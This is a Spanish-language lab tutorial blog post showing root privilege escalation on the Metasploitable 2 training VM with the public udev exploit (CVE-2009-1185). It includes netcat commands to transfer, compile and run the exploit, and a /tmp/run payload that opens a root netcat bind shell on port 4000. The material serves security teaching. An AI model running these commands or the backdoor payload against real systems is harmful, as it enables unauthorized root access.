Elevar Privilegios Explotando Vulnerabilidad de udev en Metasploitable 2

  • Posted on: 10 November 2014
  • By: ReYDeS

El escalado o elevación de privilegios es una tarea amplia, esto a razón de la diversidad de aproximaciones factibles de ser utilizadas para obtener acceso como usuario Administrador o root. Una de las tácticas para elevar privilegios implica buscar por vulnerabilidades adicionales en el sistema desde una perspectiva interna. Esto implica cualquier tipo de acceso al sistema, aunque este acceso tenga autorización limitada, es factible explotar vulnerabilidades.

Para el siguiente ejemplo se utilizará la Máquina Virtual de nombre “Metasploitable 2”

Se tiene acceso al objetivo de evaluación con un usuario sin privilegios de root.

$ id; whoami

La identificación de vulnerabilidades desde una perspectiva interna, puede ser realizada de manera automática utilizando un escaner de vulnerabilidades, o simplemente, listando todos los paquetes y la respectiva información sobre sus versiones, para luego buscar vulnerabilidades manualmente.

Uno de los principales objetivos de explotación es el kernel de GNU/Linux, por lo tanto se utilizará un exploit para la versión del kernel utilizado en el objetivo de evaluación.

$ uname -a

A continuación se expone la información incluida en el código del Exploit:

udev < 141 Local Privilege Escalation Exploit

Versiones anteriores de udev 1.4.1 no verifican si un mensaje NETLINK se origina desde el espacio del kernel, lo cual permite a usuarios locales ganar privilegios enviando mensajes NETLINK desde el espacio de usuario.

Para utilizar el exploit en primera instancia se debe copiar el archivo en el objetivo de evaluación. Kali Linux tiene un repositorio local de exploits de "Exploit-DB". Se procede a buscar el exploit.

# searchsploit udev

Se verifica la existencia del archivo, visualizando parte del exploit.

# head /usr/share/exploitdb/platforms/linux/local/8572.c

Se procede a copiar el archivo conteniendo el exploit hacia Metasploitable 2, utilizando netcat.

En Metasploitable 2

$ nc -n -v -w 10 -l -p 1234 > 8572.c

En Kali Linux:

# nc -n -v 192.168.0.16 1234 < /usr/share/exploitdb/platforms/linux/local/8572.c

Se compila el exploit

$ cc -o 8572 8572.c

Antes de ejecutar el exploit se requiere leer las “instrucciones” contenidas en el archivo del código.

Se debe pasar el PID (Process IDentifier) o Identificador del Proceso del socket netlink udevd (listado en /proc/net/netlink, usualmente es el PID udevd menos 1) como argv[1]. Este exploit ejecutará el archivo /tmp/run como root, aquí es donde se debe colocar el Payload o Carga Útil a ejecutar.

Se procede a crear el archivo “/tmp/run”. Para este ejemplo se utilizará netcat para abrir una “backdoor” o puerta trasera con privilegios de root.

#!/bin/bash
nc -n -l -p 4000 -e /bin/bash

Es necesario averiguar el PID de udevd

$ ps axu | grep udevd

El PID de udevd es 2705, por lo tanto se le resta 1 y se ejecuta el exploit con este parámetro.

$ ./8572 2704

Se visualiza el puerto TCP 4000 en atención. Ahora se realiza una conexión desde Kali Linux hacia este puerto de Metasploitable 2, utilizando netcat.

# nc -n -v 192.168.0.16 4000

La explotación para elevar o escalar privilegios ha sido satisfactoria, pues ya se tiene acceso como el usuario root en el sistema objetivo.

Fuentes:

http://sourceforge.net/projects/metasploitable/files/Metasploitable2/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1185
https://jon.oberheide.org/files/cve-2009-1185.c

Sobre el Autor


Alonso Eduardo Caballero Quezada - ReYDeS
Instructor y Consultor Independiente en Ciberseguridad
Correo Electrónico: ReYDeS@gmail.com
Twitter: https://twitter.com/Alonso_ReYDeS
LinkedIn: https://pe.linkedin.com/in/alonsocaballeroquezada/
Facebook: https://www.facebook.com/alonsoreydes
Youtube: https://www.youtube.com/c/AlonsoCaballero


Webinar Informática Forense